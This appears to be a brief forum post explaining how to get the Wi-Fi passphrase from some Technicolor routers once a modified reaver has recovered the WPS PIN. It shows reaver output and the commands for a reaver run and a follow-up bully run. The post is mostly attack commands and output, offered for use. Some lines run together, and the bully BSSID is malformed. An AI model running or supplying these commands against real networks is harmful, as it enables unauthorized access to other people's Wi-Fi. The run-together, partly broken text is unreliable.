On some Technicolor the modified reaver recovers the pin but not the passphrase it freezes on
if such thing happens use bully to recover it[+] Running reaver with the correct pin, wait ...
[+] Cmd : reaver -i wlan1mon -b 18:17:25:xx:xx:xx -c 11 -s y -vv -p xxxxxxxx
[Reaver Test] [+] BSSID: 18:17:25:xx:xx:xx
[Reaver Test] [+] Channel: 11
example :
it worked for mebully -b 18:17:25:XX:xx:xx:xx: -c 11 -B -v 2 -p xxxxxxxx